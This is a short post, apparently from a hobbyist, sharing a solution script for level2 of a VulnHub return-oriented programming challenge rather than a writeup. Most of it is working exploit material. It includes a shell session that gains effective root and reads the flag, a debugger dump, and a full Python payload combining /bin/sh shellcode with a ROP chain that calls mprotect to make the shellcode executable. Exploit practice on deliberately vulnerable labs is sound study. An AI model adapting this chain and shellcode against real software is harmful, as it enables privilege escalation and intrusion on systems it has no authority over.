Thanks to Bas from vulnhub for this great ROP challenge.
I'm sorry, it's not a writeup (I didn't have the time), but I give you my script to solve level2 and obtain a shell.
level2@rop:~$ ./level2 "$(python rop.py)" [+] ROP tutorial level2 [+] Bet you can't ROP me this time around, A��!1�Ph//shh/bin��PS��1Ұ ̀AAAAAAAAAAAAAAAXXXX(RXXXXց ���ƀ RXXXXց ,���RXXXXց �RXXXX>� ! # id uid=1002(level2) gid=1002(level2) euid=0(root) groups=0(root),1002(level2) # cat flag flag{to_rop_or_not_to_rop}
On this level2, I had to deal with some bad chars like \x00,\x0a... I managed to prepare the stack before to call "mprotect" function:
EAX: 0x8052290 (<mprotect>: push ebx) EBX: 0x0 ECX: 0xbffff5cc --> 0x8052290 (<mprotect>: push ebx) EDX: 0x80cb430 --> 0x0 ESI: 0x80488f0 (<__libc_csu_fini>: push ebp) EDI: 0xa46a937e EBP: 0x58585858 ('XXXX') ESP: 0xbffff5cc --> 0x8052290 (<mprotect>: push ebx) EIP: 0x80a8440 (<_Unwind_RaiseException+352>: ret) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80a8438 <_Unwind_RaiseException+344>: mov edi,DWORD PTR [ebp-0x4] 0x80a843b <_Unwind_RaiseException+347>: mov ebp,DWORD PTR [ebp+0x0] 0x80a843e <_Unwind_RaiseException+350>: mov esp,ecx => 0x80a8440 <_Unwind_RaiseException+352>: ret 0x80a8441: jmp 0x80a8450 <_Unwind_ForcedUnwind> 0x80a8443: nop 0x80a8444: nop 0x80a8445: nop [------------------------------------stack-------------------------------------] 0000| 0xbffff5cc --> 0x8052290 (<mprotect>: push ebx) 0004| 0xbffff5d0 --> 0xb7ffe02c --> 0x3121ec83 0008| 0xbffff5d4 --> 0xb7ffe000 --> 0x200a2108 0012| 0xbffff5d8 --> 0x8c 0016| 0xbffff5dc --> 0x5
Here my python script:
#!/usr/bin/python import sys import struct def p(x): return struct.pack('<L',x) shellcode = "\x83\xEC\x21\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" payload = "A" payload += shellcode payload += "A"*(44-len(payload)) # push 0x5 (PROT_READ | PROT_EXEC) payload += p(0x8097a7f) # xor eax,eax | ret payload += p(0x806a2ed) # inc eax | inc eax | inc eax | ret payload += p(0x806a2ee) # inc eax | inc eax | ret payload += p(0x8049852) # mov [ecx], eax | pop ebp | ret payload += "XXXX" # JUNK payload += p(0x80488e9) # dec ecx | ret payload += p(0x80488e9) # dec ecx |ret payload += p(0x80488e9) # dec ecx | ret payload += p(0x80488e9) # dec ecx | ret # push 0x8c (len) payload += p(0x8075128) # xor al,0x89 payload += p(0x8049852) # mov [ecx], eax | pop ebp | ret payload += "XXXX" # JUNK payload += p(0x80488e9) # dec ecx | ret payload += p(0x80488e9) # dec ecx | ret payload += p(0x80488e9) # dec ecx | ret payload += p(0x80488e9) # dec ecx | ret # push memory *addr payload += p(0x80a81d6) # pop eax ,ret payload += p(0xb7ffe001) # space memory payload += p(0x80a80c6) # dec eax, ret payload += p(0x8049852) # mov [ecx], eax | pop ebp | ret payload += "XXXX" # JUNK payload += p(0x80488e9) # dec ecx | ret payload += p(0x80488e9) # dec ecx | ret payload += p(0x80488e9) # dec ecx | ret payload += p(0x80488e9) # dec ecx | ret # push @ where to go after mprotect function # shellcode begins at 0xb7ffe02c payload += p(0x80a81d6) # pop eax | ret payload += p(0xb7ffe02c) # memory shellcode start payload += p(0x8049852) # mov [ecx], eax | pop ebp | ret payload += "XXXX" # JUNK payload += p(0x80488e9) # dec ecx | ret payload += p(0x80488e9) # dec ecx | ret payload += p(0x80488e9) # dec ecx | ret payload += p(0x80488e9) # dec ecx | ret # push @mprotect payload += p(0x80a81d6) # pop eax | ret payload += p(0x8052290) # @mprotect payload += p(0x8049852) # mov [ecx], eax | pop ebp | ret payload += "XXXX" # JUNK # Stack prepared for mprotect function payload += p(0x80a843e) # mov esp, ecx | ret sys.stdout.write(payload)